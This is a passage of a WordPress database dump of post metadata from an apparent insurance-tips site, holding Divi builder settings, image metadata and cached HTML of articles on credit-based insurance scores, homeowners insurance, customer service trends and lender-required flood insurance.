:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(281,83,'_et_pb_built_for_post_type','page'),(282,83,'_et_pb_ab_subjects',''),(283,83,'_et_pb_enable_shortcode_tracking',''),(284,83,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"83\" /]'),(285,83,'_et_pb_custom_css',''),(286,83,'_et_pb_gutter_width','3'),(287,83,'_thumbnail_id',''),(288,83,'_et_pb_first_image',''),(289,83,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_4 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_8\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How Your Credit Score Impacts Your Property Insurance Premium</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_9\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>&nbsp;<br />\nWhen purchasing or renewing a homeowner’s insurance policy, your credit score plays an important role in your premium costs, and even in the ability to buy an insurance policy. Most insurance carriers use a credit-based insurance score to calculate your premium payment. Here is what you should know about how insurance companies use your credit score and how you can improve it.<br />\n&nbsp;<br />\nWhat Is a Credit-Based Insurance Score?<br />\nWhile credit-based insurance scores share traits with standard credit scores, they are not calculated the same way. Insurance scores consider only some of the factors that go into a regular credit score.<br />\n&nbsp;<br />\nBeginning in the 1990s, insurance companies began using credit scores to predict risk and calculate premium costs. According to the credit-scoring agency, FICO, about 85 percent of insurance companies use credit-based scores when determining premium rates. Some reports show that people with bad credit can pay nearly twice as much for home insurance, compared to people with good credit. If your credit is really bad, you could be denied a policy.<br />\n&nbsp;<br />\nTwo important factors insurance companies use to figure your credit score are payment history and hard inquiries. Hard inquiries involve lenders, like when you apply for a credit card or a loan. A good way to keep hard inquiries from hurting your credit score is to make all your requests within a 45-day period. Within this period, they treat all inquiries as one.<br />\n&nbsp;<br />\nWhat Determines Your Credit Score? Credit scores aren&#8217;t an exact science. Lenders and credit agencies use their own metrics. For example, LexisNexis Property Insurance Scores uses this ranking:<br />\n&nbsp;<br />\nGood: 776 to 997<br />\nAverage: 626 to 775<br />\nBelow Average: 501 to 625<br />\nLess Desirable: Under 500<br />\n&nbsp;<br />\nEven though credit scores can vary between agencies, most are similar to the above ranges.<br />\n&nbsp;<br />\nOther factors that affect your credit score include level of debt, length and usage of your credit accounts, and your credit limits. The three credit bureaus, Experian, Equifax and TransUnion, rate these scores in different ways. Where one company ranks payment history as 40 percent of your score, another may only factor it in at 30 percent. Another difference is that things like your work or income history don’t affect your insurance score like they do your credit score.<br />\n&nbsp;<br />\nIf you want to know if your insurance company used your credit report, you can contact your agent and ask them. If your credit report had a bad effect on your rate, the Fair Credit Reporting Act Action Notification should alert you.<br />\n&nbsp;<br />\nYou should also be aware of your state&#8217;s laws regarding the use of credit reports to calculate rates. In Maryland and Hawaii, for example, insurers are legally prohibited from using your score to raise your homeowner’s premium. Other states may allow that, but they won&#8217;t use your credit report to drop you or deny coverage.<br />\n&nbsp;<br />\nHow to Improve Your Credit Score<br />\nThere are simple steps you can take to improve your credit score. A great starting point is to get your debt usage under control. As a rule of thumb, keep your usage to 30 percent or less of your total available credit.<br />\n&nbsp;<br />\nYou&#8217;ll also want to check and make sure your credit limit is fully reported. It could affect your rates if the credit bureau runs a background check and finds a blank spot for your card&#8217;s credit limit. Agencies only use reports with known credit limits as factors in insurance scores.<br />\n&nbsp;<br />\nAnother way to improve your credit score is to have a good grip on your payment history. Pay your bills on time and dispute any errors in your account. Many credit card companies will waive a one-time mistake. Try to make large payments when possible. Not many people can wipe out all of their debt at one time, but even if you can pay your balance down 10 percent each payment, you&#8217;ll see some good changes in your credit score.<br />\n&nbsp;<br />\nYou might see a lot of sites offering free credit reports, but most of them are not free. You can check your credit report once a year at no cost at annualcreditreport.com. Equifax, Experian and Transunion created the site jointly to comply with the Fair Credit Reporting Act. You can get your credit report from all three of the major bureaus for free and without hurting your credit score. This allows you to make sure your report is accurate. Credit report errors are common. Being aware of your credit status can help avoid them.<br />\n&nbsp;<br />\nAnother option, if you feel your home insurance rates are too high due to your credit score, is to shop around. When insurers look at someone&#8217;s credit-based insurance score, it&#8217;s considered a soft inquiry. Soft inquiries do not hurt your credit score like hard inquiries can, so looking at what different agencies have to offer you is in your favor.<br />\n&nbsp;<br />\nTo read the entire article please click here.</p>\n<p>&nbsp;</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_10\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough et-last-child et_pb_column_empty\">\n				\n				\n				\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_11\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_11  et_pb_css_mix_blend_mode_passthrough et-last-child et_pb_column_empty\">\n				\n				\n				\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(290,83,'_et_pb_truncate_post_date','2021-03-16 03:03:13'),(291,83,'_et_builder_version','VB|Divi|4.0.9'),(292,83,'_et_pb_show_page_creation','off'),(294,91,'_edit_lock','1598046448:1'),(295,91,'_et_pb_use_builder','on'),(296,91,'_edit_last','1'),(297,91,'_et_pb_post_hide_nav','default'),(298,91,'_et_pb_page_layout','et_right_sidebar'),(299,91,'_et_pb_side_nav','off'),(300,91,'_et_pb_built_for_post_type','page'),(301,91,'_et_pb_ab_subjects',''),(302,91,'_et_pb_enable_shortcode_tracking',''),(303,91,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"91\" /]'),(304,91,'_et_pb_custom_css',''),(305,91,'_et_pb_gutter_width','3'),(306,91,'_thumbnail_id',''),(307,91,'_et_pb_first_image',''),(308,91,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_3 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_6\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Understanding the Importance of Homeowners Insurance</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_7\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">&nbsp;<br />\nThere are many expenses that come with buying a home. One of the most important is homeowners insurance. While it’s natural to wonder whether this expense is necessary, there are many reasons why it is a crucial protection for any homeowner. Here are a few important things buyers should remember about homeowners insurance:</p>\n<p> <br />\n1. Homeowners insurance protects your most valuable asset.<br />\nFor most people, the home they live in is the most valuable possession they own. A home insurance policy can make it possible to pay for needed repairs if the roof is damaged by hail or wind, a water leak in the basement causes damage to your walls, or if you suffer a loss due to a fire or another event. By making it easier to keep your home well-maintained and giving you more options when something bad happens, homeowners insurance protects your family’s future security. In order to be truly protected by your insurance company, you need the right policy. When you shop for that policy, focus on the limits of the coverage and what the policy actually provides for. That way you will have the opportunity to fully cover your home if you should suffer a total loss. The belongings in your home will also be covered, but only if you have enough insurance to replace all of them. Many homeowners make the mistake of having less coverage than they actually need. You should ask your agent for a policy that covers the full replacement cost of your home. That will come with a percentage of that amount for the contents of the home, and generally will also cover other structures like detached garages or sheds.<br />\n <br />\n2. Your lender may require that you buy a policy.<br />\nIf you have a mortgage on your home, your lender may have conditions that require adequate insurance. This is because they have money on the line, too. If your house is damaged in some expensive way and you lack insurance coverage, you are less likely to be able to pay off your mortgage loan. Your home is also the collateral on your loan; if it is damaged or destroyed, its value may not be enough to cover what the lender is still owed. They are protecting an investment, and it’s important for homeowners to adopt a similar mindset. When you buy an insurance policy because your mortgage lender requires it, you will be the named insured. But if there is a large claim paid by from the insurance company, the checks may come in your name and your lender’s name, and you will likely have to sign the check over to your lender to be held in escrow, to be paid out as repairs are made to your home. In short, you will not see the money from your claim or be able to use it for something else that may not be related to the repairs that your home needs. That is very important to realize, and something that many homeowners overlook.<br />\n <br />\n3. You should understand what your policy covers.<br />\nThere are many different homeowners insurance policies available from a large number of insurance companies. It is important that buyers research insurance providers and read policies carefully so they can understand what is covered. There is nothing worse than suffering a loss and learning that it’s excluded from coverage by your insurance policy. You should also do proper research to ensure you are buying enough coverage. The lender on your mortgage may require less coverage to satisfy their requirements than you will need to keep yourself properly covered from a significant loss—this often leads home buyers into making the mistake of taking this bare minimum, believing that they will be fully covered in the event of significant damage/repairs. Knowing your policy limits is valuable, but there is more to the coverage than just how much the policy provides in the event of a loss. Another thing you need to pay careful attention to is type of coverage you have on your home. For example, if you live in a flood zone you’ll likely need a flood insurance policy. Flood insurance is administered through the federal government, as standard homeowners policies do not cover floods. Nor do standard policies cover earthquakes, landslides or hurricanes. If you are in a part of the country where those things are common, and/or if your mortgage lender requires them, you may need additional policies that cover those types of perils. That can protect your investment – and that of your mortgage company – if such perils damage your home.</p>\n<p>4. Homeowners insurance is not one-size-fits-all.<br />\nDifferent types of policies fit different household needs. If you have a large amount of savings, for instance, you may be able to save money each month by selecting a policy with a higher deductible. If you own many high-value items such as jewelry, electronics, art and high-quality furniture, you can opt for higher coverage limits to ensure that your possessions are properly protected. By choosing the option that best fits your personal situation, you can find a policy that fits both your requirements and your budget. Having that peace of mind is generally an excellent way to sleep well at night, and can provide homeowners with what they need to make sure they are financially protected. For homeowners that have high-end homes, more insurance is needed. Those who have less expensive homes will need a policy that is less expensive. Either way, though, having a policy that works for you and your specific needs is what matters. You want your home to be safe and protected, but you also want to make sure you feel good about the policy you have. If you are unsure whether or not your policy is right for you, talk with your agent about other options. That can give you the chance to have a better policy that fits your home and budget, while making sure protection is adequate. By looking at your options right away when becoming a homeowner, you can ensure that you have a policy that will protect your assets and prevent significant financial losses. Research a number of policies and providers to become an educated insurance buyer and to enjoy better peace of mind. While many homeowners just buy a policy and put it in the drawer or the file cabinet, you should take the time to read what’s in it. Then you’ll know whether the policy really protects your home or if it just covers the interests of the lender who holds your mortgage. While that is the most important issue financially for your lender, and is valuable to you as well, there may be other needed coverages that will keep you safe and secure in your home for a long time to come.</p>\n<p> <br />\nTo read the entire article, please click here.</p>\n<p>&nbsp;</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(309,91,'_et_pb_truncate_post_date','2021-03-16 03:27:04'),(310,91,'_et_builder_version','VB|Divi|4.0.9'),(311,91,'_et_pb_show_page_creation','off'),(351,124,'_edit_lock','1577131588:1'),(352,124,'_et_pb_use_builder','on'),(353,124,'_edit_last','1'),(354,124,'_et_pb_post_hide_nav','default'),(355,124,'_et_pb_page_layout','et_right_sidebar'),(356,124,'_et_pb_side_nav','off'),(357,124,'_et_pb_built_for_post_type','page'),(358,124,'_et_pb_ab_subjects',''),(359,124,'_et_pb_enable_shortcode_tracking',''),(360,124,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"124\" /]'),(361,124,'_et_pb_custom_css',''),(362,124,'_et_pb_gutter_width','3'),(363,124,'_thumbnail_id',''),(364,124,'_et_pb_first_image',''),(365,124,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_0 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_0\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">5 Trends That Will Reshape Customer Service Over the Next 5 Years</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_1\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Customer service isn’t static. Phones replaced house calls. Email edged out phones. To keep existing customers and attract new ones, you need cutting-edge customer service. Consumers are four times as likely to buy from a competitor after a service issue than they are after a product one, according to research by Bain &amp; Company. Still, customer-service overhauls aren’t cheap. Invest wisely by considering these five predicted trends that will shape customer service over the next five years.<br />\n1. Social media will become default channels.</p>\n<p>Just 13 percent of consumers over the age of 55 have used social media for customer-service purposes, a Microsoft study showed; on the other hand, 55 percent of those aged 18-34 have. As millennials and Gen Zers make up a larger and larger share of your market, social-media outreach is likely to make up more than half of your customer-service requests.<br />\nSoon, putting a social-media intern in charge of your Twitter account will no longer cut it. Those running your social accounts need to understand your product or service like veteran members of your customer-service staff. Use chatbots to field common questions, freeing up time for your human service people to tackle more complex ones.<br />\n2. Automation will get the human touch. </p>\n<p>Automation and AI are hot topics in every sector, and customer service is no exception, but when customers hear “customer-service automation,” they think of automated menus and spammy robocalls. From the user’s perspective, that sort of automation is worse than none at all.<br />\nUsed well, customer-service software can lighten an agent&#8217;s load without erasing the human touch. Contact center software provider Five9 suggests agents use real-time transcription services, which can achieve 95 percent accuracy with custom tuning, so they can focus more on the customer and less on transcription errors. Automation will be a must, but it’s best used to augment human workers.</p>\n<p>3. Customer reps will give more product demos.</p>\n<p>As more services become strictly online, your customer-service capabilities need to keep up. Customer-service platform Acquire points out that nearly half of users will leave a website if they can’t find what they’re looking for. Customer-service people need to meet them there, regardless of what the product problem is.<br />\nLean on co-browsing tools, which let customer-service agents share their screens with clients in real time. If a customer still isn’t getting it, video-conferencing solutions can improve communication via nonverbal cues. Repeated videoconferencing or screen sharing around the same issue could indicate a user-interface problem.<br />\n4. Customer-service teams will develop disaster plans. </p>\n<p>Whether due to technological complexity, natural disasters or bad actors, service outages seem to be happening more frequently. Cyberattacks are a particular problem. Three-fifths of firms experienced one last year, up by double digits from the year prior. One way or another, your customer-service staffers will eventually face a catastrophe. If they can’t field calls or use the internet for days, you can bet some customers will take their business elsewhere. The Small Business Administration offers checklists and safety tips specific to each type of disaster. Fill out the ones relevant to you, and share them with your team before a disaster strikes.<br />\n5. Customer-service training will be companywide.</p>\n<p>Employees like engineers and marketers may not interact directly with customers, but they need customer-service skills all the same. The reason is the rising importance of your UX. To deliver a better experience, everyone needs to know common customer pain points and solutions. Encourage people to think beyond their immediate role and subject area. Marketing software firm HubSpot trained its content team not just on marketing or writing, but also on how to represent the company online. Ensure everyone knows how to refer to your product and brand. Develop a “top 10” list explaining how to address common customer questions.</p>\n<p>If you’re going to grow and maintain your customer base through the 2020s, you’ll need to innovate. Technology will be key, but it needs to support &#8212; rather than sideline &#8212; your customer-service staff. Before the new decade begins, be sure your team knows the difference.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(366,124,'_et_pb_truncate_post_date','2021-05-06 16:36:57'),(367,124,'_et_builder_version','VB|Divi|4.0.9'),(368,124,'_et_pb_show_page_creation','off'),(369,138,'_wp_attached_file','2019/12/Untitled_Clipping_122419_052602_AM.jpg'),(370,138,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:540;s:6:\"height\";i:281;s:4:\"file\";s:46:\"2019/12/Untitled_Clipping_122419_052602_AM.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-300x156.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:156;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-400x281.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:281;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-510x281.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:281;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-400x281.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:281;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_122419_052602_AM-480x250.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(415,163,'_wp_attached_file','2020/01/Untitled_Clipping_012520_084035_AM.jpg'),(372,149,'_edit_lock','1577146540:1'),(373,149,'_edit_last','1'),(374,149,'_et_pb_post_hide_nav','default'),(375,149,'_et_pb_page_layout','et_right_sidebar'),(376,149,'_et_pb_side_nav','off'),(377,149,'_et_pb_use_builder','on'),(378,149,'_et_pb_built_for_post_type','page'),(379,149,'_et_pb_ab_subjects',''),(380,149,'_et_pb_enable_shortcode_tracking',''),(381,149,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"149\" /]'),(382,149,'_et_pb_custom_css',''),(383,149,'_et_pb_gutter_width','3'),(384,149,'_thumbnail_id',''),(385,149,'_et_pb_first_image',''),(386,149,'_et_pb_truncate_post',''),(387,149,'_et_pb_truncate_post_date',''),(388,149,'_et_builder_version','VB|Divi|4.0.9'),(389,149,'_et_pb_show_page_creation','off'),(416,163,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:680;s:6:\"height\";i:440;s:4:\"file\";s:46:\"2020/01/Untitled_Clipping_012520_084035_AM.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-300x194.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:194;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-400x440.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:440;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012520_084035_AM-480x311.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:311;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(417,160,'_et_pb_built_for_post_type','page'),(418,160,'_et_pb_ab_subjects',''),(419,160,'_et_pb_enable_shortcode_tracking',''),(420,160,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"160\" /]'),(421,160,'_et_pb_custom_css',''),(422,160,'_et_pb_gutter_width','3'),(423,160,'_thumbnail_id',''),(424,160,'_et_pb_first_image',''),(425,160,'_et_pb_truncate_post',''),(426,160,'_et_pb_truncate_post_date',''),(427,160,'_et_builder_version','VB|Divi|4.0.9'),(428,160,'_et_pb_show_page_creation','off'),(429,166,'_edit_lock','1580141253:1'),(430,166,'_edit_last','1'),(431,166,'_et_pb_post_hide_nav','default'),(432,166,'_et_pb_page_layout','et_right_sidebar'),(433,166,'_et_pb_side_nav','off'),(434,166,'_et_pb_use_builder','on'),(435,166,'_et_pb_built_for_post_type','page'),(436,166,'_et_pb_ab_subjects',''),(437,166,'_et_pb_enable_shortcode_tracking',''),(438,166,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"166\" /]'),(439,166,'_et_pb_custom_css',''),(440,166,'_et_pb_gutter_width','3'),(441,166,'_thumbnail_id',''),(442,166,'_et_pb_first_image',''),(443,166,'_et_pb_truncate_post',''),(444,166,'_et_pb_truncate_post_date',''),(445,166,'_et_builder_version','VB|Divi|4.0.9'),(446,166,'_et_pb_show_page_creation','off'),(447,171,'_edit_lock','1580141699:1'),(448,171,'_edit_last','1'),(449,171,'_et_pb_post_hide_nav','default'),(450,171,'_et_pb_page_layout','et_right_sidebar'),(451,171,'_et_pb_side_nav','off'),(452,171,'_et_pb_use_builder','on'),(453,171,'_et_pb_built_for_post_type','page'),(454,171,'_et_pb_ab_subjects',''),(455,171,'_et_pb_enable_shortcode_tracking',''),(456,171,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"171\" /]'),(457,171,'_et_pb_custom_css',''),(458,171,'_et_pb_gutter_width','3'),(459,171,'_thumbnail_id',''),(460,171,'_et_pb_first_image',''),(461,171,'_et_pb_truncate_post',''),(462,171,'_et_pb_truncate_post_date',''),(463,171,'_et_builder_version','VB|Divi|4.0.9'),(464,171,'_et_pb_show_page_creation','off'),(465,175,'_edit_lock','1580144267:1'),(466,175,'_edit_last','1'),(467,175,'_et_pb_post_hide_nav','default'),(468,175,'_et_pb_page_layout','et_right_sidebar'),(469,175,'_et_pb_side_nav','off'),(470,175,'_et_pb_use_builder','on'),(471,179,'_wp_attached_file','2020/01/Untitled_Clipping_012820_011138_AM.jpg'),(472,179,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:680;s:6:\"height\";i:440;s:4:\"file\";s:46:\"2020/01/Untitled_Clipping_012820_011138_AM.jpg\";s:5:\"sizes\";a:7:{s:6:\"medium\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-300x194.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:194;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-400x440.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:440;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:46:\"Untitled_Clipping_012820_011138_AM-480x311.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:311;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(473,175,'_et_pb_built_for_post_type','page'),(474,175,'_et_pb_ab_subjects',''),(475,175,'_et_pb_enable_shortcode_tracking',''),(476,175,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"175\" /]'),(477,175,'_et_pb_custom_css',''),(478,175,'_et_pb_gutter_width','3'),(479,175,'_thumbnail_id',''),(480,175,'_et_pb_first_image',''),(481,175,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_2 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_4\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">Understanding Lender-Required Flood Insurance</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_5\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_image et_pb_image_0\">\n				\n				\n				<span class=\"et_pb_image_wrap \"><img src=\"http://smartinsurance.tips/wp-content/uploads/2020/01/Untitled_Clipping_012820_011138_AM.jpg\" alt=\"\" title=\"\" srcset=\"http://smartinsurance.tips/wp-content/uploads/2020/01/Untitled_Clipping_012820_011138_AM.jpg 680w, http://smartinsurance.tips/wp-content/uploads/2020/01/Untitled_Clipping_012820_011138_AM-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) 680px, 100vw\" /></span>\n			</div><div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>&#8220;Just a few inches of water from a flood can cause tens of thousands of dollars in damage,&#8221; according to the National Flood Insurance Program. This fact sums up why mortgage lenders sometimes require borrowers to buy flood insurance.</p>\n<p>However, real estate agents and mortgage lenders often don&#8217;t tell customers about flood insurance requirements until a property is already in escrow. Homeowners are also unaware that many areas that do not immediately appear to be in danger of flooding are actually rated as high risk by the Federal Emergency Management Agency (FEMA). If you&#8217;ve found yourself in this situation or you don&#8217;t want to be caught off guard, this article will help you by demystifying lender-required flood insurance.<br />\n&nbsp;</p>\n<p>KEY TAKEAWAYS</p>\n<p>Flood insurance is often required by mortgage lenders when properties are located in federally designated high-risk flood zones or floodplains.<br />\nFlood insurance is a separate policy from homeowners insurance, which doesn&#8217;t typically cover damage or destruction by floods.<br />\nLenders usually only require flood insurance to cover the property structure, though borrowers can also buy coverage for their personal belongings and furnishings.<br />\nFlood insurance is available through the federal National Flood Insurance Program (NFIP) for 